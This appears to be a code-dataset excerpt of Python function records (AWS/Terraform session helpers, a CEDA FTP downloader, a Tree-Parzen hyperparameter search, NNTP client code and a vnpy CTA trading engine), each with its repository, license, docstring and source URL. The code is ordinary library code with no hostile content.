import json import os from functools import lru_cache, wraps from threading import RLock from time import sleep from typing import Any, Callable, Optional from pretf.api import block, log from pretf.blocks import Block try: from boto_source_profile_mfa import get_session as Session except ImportError: from boto3 import Session lock = RLock() def locked(func: Callable) -> Callable: @wraps(func) def wrapped(*args: Any, **kwargs: Any) -> Any: with lock: return func(*args, **kwargs) return wrapped @locked def _assume_role(session: Session, **kwargs: str) -> Session: for key, value in list(kwargs.items()): if not value: del kwargs[key] sts_client = session.client("sts") response = sts_client.assume_role(**kwargs) creds = response["Credentials"] return Session( aws_access_key_id=creds["AccessKeyId"], aws_secret_access_key=creds["SecretAccessKey"], aws_session_token=creds["SessionToken"], ) @locked def _create_s3_backend( session: Session, bucket: str, table: str, region_name: str ) -> None: account_id = get_account_id(session) bucket_arn = _get_s3_bucket_arn(region_name, account_id, bucket) table_arn = _get_dynamodb_table_arn(region_name, account_id, table) log.ok(f"backend: {bucket_arn}") log.ok(f"backend: {table_arn}") if not log.accept("backend: create backend resources"): log.bad("backend: not created") raise SystemExit(1) if bucket == table: stack_name = bucket else: stack_name = f"{bucket}-{table}" stack_arn = _get_cloudformation_stack_arn(region_name, account_id, stack_name) log.ok(f"backend: creating {stack_arn}") cloudformation_client = session.client("cloudformation", region_name=region_name) cloudformation_client.create_stack( StackName=stack_name, ResourceTypes=["AWS::DynamoDB::Table", "AWS::S3::Bucket"], TemplateBody=json.dumps( { "Resources": { "Table": { "Type": "AWS::DynamoDB::Table", "Properties": { "TableName": table, "AttributeDefinitions": [ {"AttributeName": "LockID", "AttributeType": "S"} ], "KeySchema": [ {"AttributeName": "LockID", "KeyType": "HASH"} ], "BillingMode": "PAY_PER_REQUEST", }, }, "Bucket": { "Type": "AWS::S3::Bucket", "Properties": { "AccessControl": "Private", "BucketName": bucket, "VersioningConfiguration": {"Status": "Enabled"}, }, }, } } ), ) log.ok("backend: please wait...") while True: sleep(10) response = cloudformation_client.describe_stacks(StackName=stack_name) for stack in response["Stacks"]: if stack["StackStatus"] == "CREATE_IN_PROGRESS": pass elif stack["StackStatus"] == "CREATE_COMPLETE": log.ok("backend: create complete") return else: log.bad(f"backend: {stack['StackStatus']}") log.bad(f"backend: {stack['StackStatusReason']}") def _get_cloudformation_stack_arn( region_name: str, account_id: str, stack_name: str ) -> str: return f"arn:aws:cloudformation:{region_name}:{account_id}:stack/{stack_name}" def _get_dynamodb_table_arn(region_name: str, account_id: str, table: str) -> str: return f"arn:aws:dynamodb:{region_name}:{account_id}:{table}" def _get_s3_bucket_arn(region_name: str, account_id: str, bucket: str) -> str: return f"arn:aws:s3:{region_name}:{account_id}:{bucket}" @locked def _get_s3_backend_status( session: Session, region_name: str, bucket: str, table: str ) -> dict: s3_client = session.client("s3") try: response = s3_client.get_bucket_versioning(Bucket=bucket) except s3_client.exceptions.NoSuchBucket: bucket_exists = False bucket_versioning_enabled = False else: bucket_exists = True bucket_versioning_enabled = response["Status"] == "Enabled" dynamodb_client = session.client("dynamodb", region_name=region_name) try: dynamodb_client.describe_table(TableName=table) except dynamodb_client.exceptions.ResourceNotFoundException: table_exists = False else: table_exists = True return { "bucket_exists": bucket_exists, "bucket_versioning_enabled": bucket_versioning_enabled, "table_exists": table_exists, } def _profile_creds_definitely_supported_by_terraform(creds: Any) -> bool: if creds.method in ("config-file", "shared-credentials-file"): return True else: return False @locked def export_environment_variables( session: Optional[Session] = None, region_name: Optional[str] = None, **kwargs: dict ) -> None: if session is None: session = get_session(**kwargs) creds = get_frozen_credentials(session) if creds.access_key: os.environ["AWS_ACCESS_KEY_ID"] = creds.access_key if creds.secret_key: os.environ["AWS_SECRET_ACCESS_KEY"] = creds.secret_key if creds.token: os.environ["AWS_SECURITY_TOKEN"] = creds.token os.environ["AWS_SESSION_TOKEN"] = creds.token if not region_name: region_name = session.region_name if region_name: os.environ["AWS_REGION"] = region_name os.environ["AWS_DEFAULT_REGION"] = region_name @lru_cache() @locked def get_account_id(session: Optional[Session] = None, **kwargs: dict) -> str: if session is None: session = get_session(**kwargs) sts_client = session.client("sts") account_id = sts_client.get_caller_identity()["Account"] return account_id @locked def get_frozen_credentials(session: Optional[Session] = None, **kwargs: dict) -> Any: if session is None: session = get_session(**kwargs) return session.get_credentials().get_frozen_credentials() @lru_cache() def get_session(**kwargs: dict) -> Session: return Session(**kwargs) @locked
MIT License
darothen/cmip5_download
CEDA_download.py
get_credentials
python
def get_credentials(): username = input(" Username: ") password = getpass(" Password: ") return username, password
Retrieve a user's name and password safely from command line.
https://github.com/darothen/cmip5_download/blob/7f8ba2f4b7c3b3356b2b5d8aee89a6e3b0c9f823/CEDA_download.py#L36-L42
from __future__ import print_function from ftplib import FTP from getpass import getpass from itertools import product from pprint import pprint import os, pickle, re, sys import logging CEDA_FTP = "ftp.ceda.ac.uk" CEDA_BASE_PATH = "badc/cmip5/data/cmip5/output1" def set_logger(filename=None, level=logging.INFO): logger_kwargs = dict(level=level, format="%(message)s") if not (filename is None): logger_kwargs['filename'] = filename logging.basicConfig(**logger_kwargs)
MIT License
neuraxio/neuraxle
neuraxle/metaopt/tpe.py
TreeParzenEstimatorHyperparameterSelectionStrategy._adaptive_parzen_normal
python
def _adaptive_parzen_normal(self, hyperparam_distribution, distribution_trials): use_prior = (self.prior_weight - 0.) > 1e-10 prior_mean = hyperparam_distribution.mean() prior_sigma = hyperparam_distribution.std() means = np.array(distribution_trials) distributions_mins = hyperparam_distribution.min() * np.ones_like(means) distributions_max = hyperparam_distribution.max() * np.ones_like(means) sort_indexes = np.argsort(means) if len(means) == 0: if use_prior: prior_pos = 0 sorted_means = np.array([prior_mean]) sorted_stds = np.array([prior_sigma]) elif len(means) == 1: if use_prior and prior_mean < means[0]: prior_pos = 0 sorted_means = np.array([prior_mean, means[0]]) sorted_stds = np.array([prior_sigma, prior_sigma * 0.5]) elif use_prior and prior_mean >= means[0]: prior_pos = 1 sorted_means = np.array([means[0], prior_mean]) sorted_stds = np.array([prior_sigma * 0.5, prior_sigma]) else: sorted_means = means sorted_stds = prior_sigma else: if use_prior: prior_pos = np.searchsorted(means[sort_indexes], prior_mean) sorted_means = np.zeros(len(means) + 1) sorted_means[:prior_pos] = means[sort_indexes[:prior_pos]] sorted_means[prior_pos] = prior_mean sorted_means[prior_pos + 1:] = means[sort_indexes[prior_pos:]] else: sorted_means = means[sort_indexes] sorted_stds = np.zeros_like(sorted_means) sorted_stds[1:-1] = np.maximum(sorted_means[1:-1] - sorted_means[0:-2], sorted_means[2:] - sorted_means[1:-1]) left_std = sorted_means[1] - sorted_means[0] right_std = sorted_means[-1] - sorted_means[-2] sorted_stds[0] = left_std sorted_stds[-1] = right_std min_std = prior_sigma / min(100.0, (1.0 + len(sorted_means))) max_std = prior_sigma / 1.0 sorted_stds = np.clip(sorted_stds, min_std, max_std) if self.use_linear_forgetting_weights: distribution_amplitudes = _linear_forgetting_Weights(len(means), self.number_recent_trial_at_full_weights) else: distribution_amplitudes = np.ones(len(means)) if use_prior: sorted_stds[prior_pos] = prior_sigma sorted_distribution_amplitudes = np.zeros_like(sorted_means) sorted_distribution_amplitudes[:prior_pos] = distribution_amplitudes[sort_indexes[:prior_pos]] sorted_distribution_amplitudes[prior_pos] = sort_indexes sorted_distribution_amplitudes[prior_pos + 1:] = distribution_amplitudes[sort_indexes[prior_pos:]] else: sorted_distribution_amplitudes = distribution_amplitudes distribution_amplitudes = np.array(distribution_amplitudes) distribution_amplitudes /= np.sum(distribution_amplitudes) return sorted_distribution_amplitudes, sorted_means, sorted_stds, distributions_mins, distributions_max
This code is enterily inspire from Hyperopt (https://github.com/hyperopt) code.
https://github.com/neuraxio/neuraxle/blob/18479c0adf5ebfd3504a83ef6711219961c2bfdb/neuraxle/metaopt/tpe.py#L213-L298
from collections import Counter from operator import itemgetter from typing import List, Any, Tuple import numpy as np from neuraxle.hyperparams.distributions import DistributionMixture, PriorityChoice, DiscreteHyperparameterDistribution, HyperparameterDistribution from neuraxle.hyperparams.scipy_distributions import Choice, LogNormal, LogUniform, Quantized from neuraxle.hyperparams.space import HyperparameterSamples, HyperparameterSpace from neuraxle.metaopt.auto_ml import BaseHyperparameterSelectionStrategy, RandomSearchHyperparameterSelectionStrategy, TRIAL_STATUS, AutoMLContainer from neuraxle.metaopt.trial import Trials _LOG_DISTRIBUTION = (LogNormal, LogUniform) _QUANTIZED_DISTRIBUTION = (Quantized,) class TreeParzenEstimatorHyperparameterSelectionStrategy(BaseHyperparameterSelectionStrategy): def __init__( self, number_of_initial_random_step: int = 40, quantile_threshold: float = 0.3, number_good_trials_max_cap: int = 25, number_possible_hyperparams_candidates: int = 100, prior_weight: float = 0., use_linear_forgetting_weights: bool = False, number_recent_trial_at_full_weights: int = 25 ): super().__init__() self.initial_auto_ml_algo: RandomSearchHyperparameterSelectionStrategy = RandomSearchHyperparameterSelectionStrategy() self.number_of_initial_random_step: int = number_of_initial_random_step self.quantile_threshold: float = quantile_threshold self.number_good_trials_max_cap: int = number_good_trials_max_cap self.number_possible_hyperparams_candidates: int = number_possible_hyperparams_candidates self.prior_weight: float = prior_weight self.use_linear_forgetting_weights: bool = use_linear_forgetting_weights self.number_recent_trial_at_full_weights: int = number_recent_trial_at_full_weights def find_next_best_hyperparams(self, auto_ml_container: AutoMLContainer) -> HyperparameterSamples: hyperparams_space_list: List[(str, HyperparameterDistribution)] = list( auto_ml_container.hyperparameter_space.to_flat_dict().items()) if auto_ml_container.trial_number < self.number_of_initial_random_step: return self.initial_auto_ml_algo.find_next_best_hyperparams(auto_ml_container) success_trials: Trials = auto_ml_container.trials.filter(TRIAL_STATUS.SUCCESS) good_trials, bad_trials = success_trials.split_good_and_bad_trials( quantile_threshold=self.quantile_threshold, number_of_good_trials_max_cap=self.number_good_trials_max_cap ) hyperparams_keys = list(map(itemgetter(0), hyperparams_space_list)) good_posteriors: List[HyperparameterDistribution] = self._create_posterior(hyperparams_space_list, good_trials) bad_posteriors: List[HyperparameterDistribution] = self._create_posterior(hyperparams_space_list, bad_trials) best_hyperparams = [] for (hyperparam_key, good_posterior, bad_posterior) in zip(hyperparams_keys, good_posteriors, bad_posteriors): best_new_hyperparam_value = None best_ratio = None for _ in range(self.number_possible_hyperparams_candidates): possible_new_hyperparm = good_posterior.rvs() ratio = good_posterior.pdf(possible_new_hyperparm) / bad_posterior.pdf( possible_new_hyperparm) if best_new_hyperparam_value is None: best_new_hyperparam_value = possible_new_hyperparm best_ratio = ratio else: if ratio > best_ratio: best_new_hyperparam_value = possible_new_hyperparm best_ratio = ratio best_hyperparams.append((hyperparam_key, best_new_hyperparam_value)) return HyperparameterSamples(best_hyperparams) def _create_posterior(self, flat_hyperparameter_space_list: List[Tuple[str, HyperparameterDistribution]], trials: Trials) -> HyperparameterSpace: posterior_distributions = [] for (hyperparam_key, hyperparam_distribution) in flat_hyperparameter_space_list: trial_hyperparams: List[HyperparameterSamples] = [ trial.hyperparams[hyperparam_key] for trial in trials ] if hyperparam_distribution.is_discrete(): posterior_distribution = self._reweights_categorical( discrete_distribution=hyperparam_distribution, trial_hyperparameters=trial_hyperparams ) else: posterior_distribution = self._create_gaussian_mixture( continuous_distribution=hyperparam_distribution, trial_hyperparameters=trial_hyperparams ) posterior_distributions.append(posterior_distribution) return posterior_distributions def _reweights_categorical(self, discrete_distribution: DiscreteHyperparameterDistribution, trial_hyperparameters): probas: List[float] = discrete_distribution.probabilities() values: List[Any] = discrete_distribution.values() number_probas = len(probas) reweighted_probas = number_probas * probas count_trials = Counter(trial_hyperparameters) values_keys = list(count_trials.keys()) counts = list(count_trials.values()) for value_key, count in zip(values_keys, counts): index_value = values.index(value_key) reweighted_probas[index_value] += count reweighted_probas = np.array(reweighted_probas) reweighted_probas = reweighted_probas / np.sum(reweighted_probas) if isinstance(discrete_distribution, PriorityChoice): return PriorityChoice(values, probas=reweighted_probas) return Choice(values, probas=reweighted_probas) def _create_gaussian_mixture( self, continuous_distribution: HyperparameterDistribution, trial_hyperparameters: List[HyperparameterSamples] ): use_logs = False if isinstance(continuous_distribution, _LOG_DISTRIBUTION): use_logs = True use_quantized_distributions = False if isinstance(continuous_distribution, Quantized): use_quantized_distributions = True if isinstance(continuous_distribution.hd, _LOG_DISTRIBUTION): use_logs = True distribution_amplitudes, means, stds, distributions_mins, distributions_max = self._adaptive_parzen_normal( continuous_distribution, trial_hyperparameters) gmm = DistributionMixture.build_gaussian_mixture( distribution_amplitudes=distribution_amplitudes, means=means, stds=stds, distributions_mins=distributions_mins, distributions_max=distributions_max, use_logs=use_logs, use_quantized_distributions=use_quantized_distributions ) return gmm
Apache License 2.0
perslev/u-time
utime/utils/utils.py
ensure_list_or_tuple
python
def ensure_list_or_tuple(obj): return [obj] if not isinstance(obj, (list, tuple)) else obj
Takes some object and wraps it in a list - i.e. [obj] - unless the object is already a list or a tuple instance. In that case, simply returns 'obj' Args: obj: Any object Returns: [obj] if obj is not a list or tuple, else obj
https://github.com/perslev/u-time/blob/f7c8e3f1368f43226872a69b0fbb8c29990e4bd9/utime/utils/utils.py#L52-L63
import numpy as np from contextlib import contextmanager import logging def exactly_one_specified(*inputs): not_none = np.array(list(map(lambda x: x is not None, inputs))) return np.sum(not_none) == 1 def b_if_a_is_none(a, b): if a is None: return b else: return a def assert_all_loaded(pairs, raise_=True): loaded_pairs = [p for p in pairs if p.loaded] if len(loaded_pairs) != len(pairs): if raise_: raise NotImplementedError("BatchSequence currently requires all" " samples to be loaded") else: return False return True
MIT License
muneebalam/scrapenhl2
scrapenhl2/scrape/players.py
get_player_log_filename
python
def get_player_log_filename(): return os.path.join(organization.get_other_data_folder(), 'PLAYER_LOG.feather')
Returns the player log filename. :return: str, /scrape/data/other/PLAYER_LOG.feather
https://github.com/muneebalam/scrapenhl2/blob/a9867f03d002773da852fc150f2976adc2ba8c25/scrapenhl2/scrape/players.py#L70-L76
import functools import json import os.path import urllib.request from tqdm import tqdm import feather import pandas as pd import scrapenhl2.scrape.general_helpers as helpers import scrapenhl2.scrape.organization as organization import scrapenhl2.scrape.schedules as schedules import scrapenhl2.scrape.team_info as team_info _PLAYERS = None _PLAYER_LOG = None def get_player_log_file(): return _PLAYER_LOG def _get_player_log_file(): return feather.read_dataframe(get_player_log_filename()) def get_player_ids_file(): return _PLAYERS def _get_player_ids_file(): return feather.read_dataframe(get_player_ids_filename()) def write_player_log_file(df): feather.write_dataframe(df.drop_duplicates(), get_player_log_filename()) player_setup()
MIT License
pokemongof/pokemongo-bot-desktop
build/pywin/Lib/nntplib.py
NNTP.artcmd
python
def artcmd(self, line, file=None): resp, list = self.longcmd(line, file) resp, nr, id = self.statparse(resp) return resp, nr, id, list
Internal: process a HEAD, BODY or ARTICLE command.
https://github.com/pokemongof/pokemongo-bot-desktop/blob/4bfa94f0183406c6a86f93645eff7abd3ad4ced8/build/pywin/Lib/nntplib.py#L414-L418
import re import socket __all__ = ["NNTP","NNTPReplyError","NNTPTemporaryError", "NNTPPermanentError","NNTPProtocolError","NNTPDataError", "error_reply","error_temp","error_perm","error_proto", "error_data",] _MAXLINE = 2048 class NNTPError(Exception): def __init__(self, *args): Exception.__init__(self, *args) try: self.response = args[0] except IndexError: self.response = 'No response given' class NNTPReplyError(NNTPError): pass class NNTPTemporaryError(NNTPError): pass class NNTPPermanentError(NNTPError): pass class NNTPProtocolError(NNTPError): pass class NNTPDataError(NNTPError): pass error_reply = NNTPReplyError error_temp = NNTPTemporaryError error_perm = NNTPPermanentError error_proto = NNTPProtocolError error_data = NNTPDataError NNTP_PORT = 119 LONGRESP = ['100', '215', '220', '221', '222', '224', '230', '231', '282'] CRLF = '\r\n' class NNTP: def __init__(self, host, port=NNTP_PORT, user=None, password=None, readermode=None, usenetrc=True): self.host = host self.port = port self.sock = socket.create_connection((host, port)) self.file = self.sock.makefile('rb') self.debugging = 0 self.welcome = self.getresp() readermode_afterauth = 0 if readermode: try: self.welcome = self.shortcmd('mode reader') except NNTPPermanentError: pass except NNTPTemporaryError, e: if user and e.response[:3] == '480': readermode_afterauth = 1 else: raise try: if usenetrc and not user: import netrc credentials = netrc.netrc() auth = credentials.authenticators(host) if auth: user = auth[0] password = auth[2] except IOError: pass if user: resp = self.shortcmd('authinfo user '+user) if resp[:3] == '381': if not password: raise NNTPReplyError(resp) else: resp = self.shortcmd( 'authinfo pass '+password) if resp[:3] != '281': raise NNTPPermanentError(resp) if readermode_afterauth: try: self.welcome = self.shortcmd('mode reader') except NNTPPermanentError: pass def getwelcome(self): if self.debugging: print '*welcome*', repr(self.welcome) return self.welcome def set_debuglevel(self, level): self.debugging = level debug = set_debuglevel def putline(self, line): line = line + CRLF if self.debugging > 1: print '*put*', repr(line) self.sock.sendall(line) def putcmd(self, line): if self.debugging: print '*cmd*', repr(line) self.putline(line) def getline(self): line = self.file.readline(_MAXLINE + 1) if len(line) > _MAXLINE: raise NNTPDataError('line too long') if self.debugging > 1: print '*get*', repr(line) if not line: raise EOFError if line[-2:] == CRLF: line = line[:-2] elif line[-1:] in CRLF: line = line[:-1] return line def getresp(self): resp = self.getline() if self.debugging: print '*resp*', repr(resp) c = resp[:1] if c == '4': raise NNTPTemporaryError(resp) if c == '5': raise NNTPPermanentError(resp) if c not in '123': raise NNTPProtocolError(resp) return resp def getlongresp(self, file=None): openedFile = None try: if isinstance(file, str): openedFile = file = open(file, "w") resp = self.getresp() if resp[:3] not in LONGRESP: raise NNTPReplyError(resp) list = [] while 1: line = self.getline() if line == '.': break if line[:2] == '..': line = line[1:] if file: file.write(line + "\n") else: list.append(line) finally: if openedFile: openedFile.close() return resp, list def shortcmd(self, line): self.putcmd(line) return self.getresp() def longcmd(self, line, file=None): self.putcmd(line) return self.getlongresp(file) def newgroups(self, date, time, file=None): return self.longcmd('NEWGROUPS ' + date + ' ' + time, file) def newnews(self, group, date, time, file=None): cmd = 'NEWNEWS ' + group + ' ' + date + ' ' + time return self.longcmd(cmd, file) def list(self, file=None): resp, list = self.longcmd('LIST', file) for i in range(len(list)): list[i] = tuple(list[i].split()) return resp, list def description(self, group): resp, lines = self.descriptions(group) if len(lines) == 0: return "" else: return lines[0][1] def descriptions(self, group_pattern): line_pat = re.compile("^(?P<group>[^ \t]+)[ \t]+(.*)$") resp, raw_lines = self.longcmd('LIST NEWSGROUPS ' + group_pattern) if resp[:3] != "215": resp, raw_lines = self.longcmd('XGTITLE ' + group_pattern) lines = [] for raw_line in raw_lines: match = line_pat.search(raw_line.strip()) if match: lines.append(match.group(1, 2)) return resp, lines def group(self, name): resp = self.shortcmd('GROUP ' + name) if resp[:3] != '211': raise NNTPReplyError(resp) words = resp.split() count = first = last = 0 n = len(words) if n > 1: count = words[1] if n > 2: first = words[2] if n > 3: last = words[3] if n > 4: name = words[4].lower() return resp, count, first, last, name def help(self, file=None): return self.longcmd('HELP',file) def statparse(self, resp): if resp[:2] != '22': raise NNTPReplyError(resp) words = resp.split() nr = 0 id = '' n = len(words) if n > 1: nr = words[1] if n > 2: id = words[2] return resp, nr, id def statcmd(self, line): resp = self.shortcmd(line) return self.statparse(resp) def stat(self, id): return self.statcmd('STAT ' + id) def next(self): return self.statcmd('NEXT') def last(self): return self.statcmd('LAST')
MIT License
vnpy/vnpy_ctastrategy
vnpy_ctastrategy/engine.py
CtaEngine.send_email
python
def send_email(self, msg: str, strategy: CtaTemplate = None): if strategy: subject = f"{strategy.strategy_name}" else: subject = "CTA策略引擎" self.main_engine.send_email(subject, msg)
Send email to default receiver.
https://github.com/vnpy/vnpy_ctastrategy/blob/58f71dcfc068efa9f04ba58a362ff040ff5daa0f/vnpy_ctastrategy/engine.py#L953-L962
import importlib import traceback from collections import defaultdict from pathlib import Path from typing import Any, Callable from datetime import datetime, timedelta from concurrent.futures import ThreadPoolExecutor from copy import copy from tzlocal import get_localzone from glob import glob from vnpy.event import Event, EventEngine from vnpy.trader.engine import BaseEngine, MainEngine from vnpy.trader.object import ( OrderRequest, SubscribeRequest, HistoryRequest, LogData, TickData, BarData, ContractData ) from vnpy.trader.event import ( EVENT_TICK, EVENT_ORDER, EVENT_TRADE, EVENT_POSITION ) from vnpy.trader.constant import ( Direction, OrderType, Interval, Exchange, Offset, Status ) from vnpy.trader.utility import load_json, save_json, extract_vt_symbol, round_to from vnpy.trader.converter import OffsetConverter from vnpy.trader.database import BaseDatabase, get_database from vnpy.trader.datafeed import BaseDatafeed, get_datafeed from .base import ( APP_NAME, EVENT_CTA_LOG, EVENT_CTA_STRATEGY, EVENT_CTA_STOPORDER, EngineType, StopOrder, StopOrderStatus, STOPORDER_PREFIX ) from .template import CtaTemplate STOP_STATUS_MAP = { Status.SUBMITTING: StopOrderStatus.WAITING, Status.NOTTRADED: StopOrderStatus.WAITING, Status.PARTTRADED: StopOrderStatus.TRIGGERED, Status.ALLTRADED: StopOrderStatus.TRIGGERED, Status.CANCELLED: StopOrderStatus.CANCELLED, Status.REJECTED: StopOrderStatus.CANCELLED } LOCAL_TZ = get_localzone() class CtaEngine(BaseEngine): engine_type = EngineType.LIVE setting_filename = "cta_strategy_setting.json" data_filename = "cta_strategy_data.json" def __init__(self, main_engine: MainEngine, event_engine: EventEngine): super(CtaEngine, self).__init__( main_engine, event_engine, APP_NAME) self.strategy_setting = {} self.strategy_data = {} self.classes = {} self.strategies = {} self.symbol_strategy_map = defaultdict( list) self.orderid_strategy_map = {} self.strategy_orderid_map = defaultdict( set) self.stop_order_count = 0 self.stop_orders = {} self.init_executor = ThreadPoolExecutor(max_workers=1) self.rq_client = None self.rq_symbols = set() self.vt_tradeids = set() self.offset_converter = OffsetConverter(self.main_engine) self.database: BaseDatabase = get_database() self.datafeed: BaseDatafeed = get_datafeed() def init_engine(self): self.init_datafeed() self.load_strategy_class() self.load_strategy_setting() self.load_strategy_data() self.register_event() self.write_log("CTA策略引擎初始化成功") def close(self): self.stop_all_strategies() def register_event(self): self.event_engine.register(EVENT_TICK, self.process_tick_event) self.event_engine.register(EVENT_ORDER, self.process_order_event) self.event_engine.register(EVENT_TRADE, self.process_trade_event) self.event_engine.register(EVENT_POSITION, self.process_position_event) def init_datafeed(self): result = self.datafeed.init() if result: self.write_log("数据服务初始化成功") def query_bar_from_datafeed( self, symbol: str, exchange: Exchange, interval: Interval, start: datetime, end: datetime ): req = HistoryRequest( symbol=symbol, exchange=exchange, interval=interval, start=start, end=end ) data = self.datafeed.query_bar_history(req) return data def process_tick_event(self, event: Event): tick = event.data strategies = self.symbol_strategy_map[tick.vt_symbol] if not strategies: return self.check_stop_order(tick) for strategy in strategies: if strategy.inited: self.call_strategy_func(strategy, strategy.on_tick, tick) def process_order_event(self, event: Event): order = event.data self.offset_converter.update_order(order) strategy = self.orderid_strategy_map.get(order.vt_orderid, None) if not strategy: return vt_orderids = self.strategy_orderid_map[strategy.strategy_name] if order.vt_orderid in vt_orderids and not order.is_active(): vt_orderids.remove(order.vt_orderid) if order.type == OrderType.STOP: so = StopOrder( vt_symbol=order.vt_symbol, direction=order.direction, offset=order.offset, price=order.price, volume=order.volume, stop_orderid=order.vt_orderid, strategy_name=strategy.strategy_name, datetime=order.datetime, status=STOP_STATUS_MAP[order.status], vt_orderids=[order.vt_orderid], ) self.call_strategy_func(strategy, strategy.on_stop_order, so) self.call_strategy_func(strategy, strategy.on_order, order) def process_trade_event(self, event: Event): trade = event.data if trade.vt_tradeid in self.vt_tradeids: return self.vt_tradeids.add(trade.vt_tradeid) self.offset_converter.update_trade(trade) strategy = self.orderid_strategy_map.get(trade.vt_orderid, None) if not strategy: return if trade.direction == Direction.LONG: strategy.pos += trade.volume else: strategy.pos -= trade.volume self.call_strategy_func(strategy, strategy.on_trade, trade) self.sync_strategy_data(strategy) self.put_strategy_event(strategy) def process_position_event(self, event: Event): position = event.data self.offset_converter.update_position(position) def check_stop_order(self, tick: TickData): for stop_order in list(self.stop_orders.values()): if stop_order.vt_symbol != tick.vt_symbol: continue long_triggered = ( stop_order.direction == Direction.LONG and tick.last_price >= stop_order.price ) short_triggered = ( stop_order.direction == Direction.SHORT and tick.last_price <= stop_order.price ) if long_triggered or short_triggered: strategy = self.strategies[stop_order.strategy_name] if stop_order.direction == Direction.LONG: if tick.limit_up: price = tick.limit_up else: price = tick.ask_price_5 else: if tick.limit_down: price = tick.limit_down else: price = tick.bid_price_5 contract = self.main_engine.get_contract(stop_order.vt_symbol) vt_orderids = self.send_limit_order( strategy, contract, stop_order.direction, stop_order.offset, price, stop_order.volume, stop_order.lock, stop_order.net ) if vt_orderids: self.stop_orders.pop(stop_order.stop_orderid) strategy_vt_orderids = self.strategy_orderid_map[strategy.strategy_name] if stop_order.stop_orderid in strategy_vt_orderids: strategy_vt_orderids.remove(stop_order.stop_orderid) stop_order.status = StopOrderStatus.TRIGGERED stop_order.vt_orderids = vt_orderids self.call_strategy_func( strategy, strategy.on_stop_order, stop_order ) self.put_stop_order_event(stop_order) def send_server_order( self, strategy: CtaTemplate, contract: ContractData, direction: Direction, offset: Offset, price: float, volume: float, type: OrderType, lock: bool, net: bool ): original_req = OrderRequest( symbol=contract.symbol, exchange=contract.exchange, direction=direction, offset=offset, type=type, price=price, volume=volume, reference=f"{APP_NAME}_{strategy.strategy_name}" ) req_list = self.offset_converter.convert_order_request(original_req, lock, net) vt_orderids = [] for req in req_list: vt_orderid = self.main_engine.send_order(req, contract.gateway_name) if not vt_orderid: continue vt_orderids.append(vt_orderid) self.offset_converter.update_order_request(req, vt_orderid) self.orderid_strategy_map[vt_orderid] = strategy self.strategy_orderid_map[strategy.strategy_name].add(vt_orderid) return vt_orderids def send_limit_order( self, strategy: CtaTemplate, contract: ContractData, direction: Direction, offset: Offset, price: float, volume: float, lock: bool, net: bool ): return self.send_server_order( strategy, contract, direction, offset, price, volume, OrderType.LIMIT, lock, net ) def send_server_stop_order( self, strategy: CtaTemplate, contract: ContractData, direction: Direction, offset: Offset, price: float, volume: float, lock: bool, net: bool ): return self.send_server_order( strategy, contract, direction, offset, price, volume, OrderType.STOP, lock, net ) def send_local_stop_order( self, strategy: CtaTemplate, direction: Direction, offset: Offset, price: float, volume: float, lock: bool, net: bool ): self.stop_order_count += 1 stop_orderid = f"{STOPORDER_PREFIX}.{self.stop_order_count}" stop_order = StopOrder( vt_symbol=strategy.vt_symbol, direction=direction, offset=offset, price=price, volume=volume, stop_orderid=stop_orderid, strategy_name=strategy.strategy_name, datetime=datetime.now(LOCAL_TZ), lock=lock, net=net ) self.stop_orders[stop_orderid] = stop_order vt_orderids = self.strategy_orderid_map[strategy.strategy_name] vt_orderids.add(stop_orderid) self.call_strategy_func(strategy, strategy.on_stop_order, stop_order) self.put_stop_order_event(stop_order) return [stop_orderid] def cancel_server_order(self, strategy: CtaTemplate, vt_orderid: str): order = self.main_engine.get_order(vt_orderid) if not order: self.write_log(f"撤单失败,找不到委托{vt_orderid}", strategy) return req = order.create_cancel_request() self.main_engine.cancel_order(req, order.gateway_name) def cancel_local_stop_order(self, strategy: CtaTemplate, stop_orderid: str): stop_order = self.stop_orders.get(stop_orderid, None) if not stop_order: return strategy = self.strategies[stop_order.strategy_name] self.stop_orders.pop(stop_orderid) vt_orderids = self.strategy_orderid_map[strategy.strategy_name] if stop_orderid in vt_orderids: vt_orderids.remove(stop_orderid) stop_order.status = StopOrderStatus.CANCELLED self.call_strategy_func(strategy, strategy.on_stop_order, stop_order) self.put_stop_order_event(stop_order) def send_order( self, strategy: CtaTemplate, direction: Direction, offset: Offset, price: float, volume: float, stop: bool, lock: bool, net: bool ): contract = self.main_engine.get_contract(strategy.vt_symbol) if not contract: self.write_log(f"委托失败,找不到合约:{strategy.vt_symbol}", strategy) return "" price = round_to(price, contract.pricetick) volume = round_to(volume, contract.min_volume) if stop: if contract.stop_supported: return self.send_server_stop_order( strategy, contract, direction, offset, price, volume, lock, net ) else: return self.send_local_stop_order( strategy, direction, offset, price, volume, lock, net ) else: return self.send_limit_order( strategy, contract, direction, offset, price, volume, lock, net ) def cancel_order(self, strategy: CtaTemplate, vt_orderid: str): if vt_orderid.startswith(STOPORDER_PREFIX): self.cancel_local_stop_order(strategy, vt_orderid) else: self.cancel_server_order(strategy, vt_orderid) def cancel_all(self, strategy: CtaTemplate): vt_orderids = self.strategy_orderid_map[strategy.strategy_name] if not vt_orderids: return for vt_orderid in copy(vt_orderids): self.cancel_order(strategy, vt_orderid) def get_engine_type(self): return self.engine_type def get_pricetick(self, strategy: CtaTemplate): contract = self.main_engine.get_contract(strategy.vt_symbol) if contract: return contract.pricetick else: return None def load_bar( self, vt_symbol: str, days: int, interval: Interval, callback: Callable[[BarData], None], use_database: bool ): symbol, exchange = extract_vt_symbol(vt_symbol) end = datetime.now(LOCAL_TZ) start = end - timedelta(days) bars = [] if not use_database: contract = self.main_engine.get_contract(vt_symbol) if contract and contract.history_data: req = HistoryRequest( symbol=symbol, exchange=exchange, interval=interval, start=start, end=end ) bars = self.main_engine.query_history(req, contract.gateway_name) else: bars = self.query_bar_from_datafeed(symbol, exchange, interval, start, end) if not bars: bars = self.database.load_bar_data( symbol=symbol, exchange=exchange, interval=interval, start=start, end=end, ) for bar in bars: callback(bar) def load_tick( self, vt_symbol: str, days: int, callback: Callable[[TickData], None] ): symbol, exchange = extract_vt_symbol(vt_symbol) end = datetime.now(LOCAL_TZ) start = end - timedelta(days) ticks = self.database.load_tick_data( symbol=symbol, exchange=exchange, start=start, end=end, ) for tick in ticks: callback(tick) def call_strategy_func( self, strategy: CtaTemplate, func: Callable, params: Any = None ): try: if params: func(params) else: func() except Exception: strategy.trading = False strategy.inited = False msg = f"触发异常已停止\n{traceback.format_exc()}" self.write_log(msg, strategy) def add_strategy( self, class_name: str, strategy_name: str, vt_symbol: str, setting: dict ): if strategy_name in self.strategies: self.write_log(f"创建策略失败,存在重名{strategy_name}") return strategy_class = 